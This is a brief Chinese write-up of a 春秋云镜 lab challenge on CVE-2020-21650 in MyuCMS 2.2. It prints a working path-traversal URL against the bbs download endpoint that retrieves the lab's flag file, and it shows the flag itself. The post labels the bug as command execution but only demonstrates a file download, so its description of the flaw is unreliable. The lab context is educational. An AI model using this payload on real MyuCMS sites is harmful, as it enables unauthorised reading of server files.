文章报道了MyuCMS开源CMS系统在2.2版本中的一个安全漏洞，允许攻击者通过`admin.php/config/add`方法执行任意命令。漏洞可通过URL参数进行利用，成功下载包含敏感信息的flag文件。
春秋云镜 CVE-2020-21650 MyuCMS后台rce
靶标介绍
MyuCMS开源内容管理系统,采用ThinkPHP开发而成的社区商城聚合，插件，模板，轻便快捷容易扩展 其2.2版本中admin.php/config/add方法存在任意命令执行漏洞。
启动场景
漏洞利用
exp
/index.php/bbs/index/download?url=../../../../../flag&local=1&name
http://eci-2ze00i17t48430fv10tg.cloudeci1.ichunqiu.com/index.php/bbs/index/download?url=…/…/…/…/…/flag&local=1&name
flag文件已下载
得到falg
flag{40a1922a-1dee-405b-bd48-bb4061eec5a8}
扫一扫
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
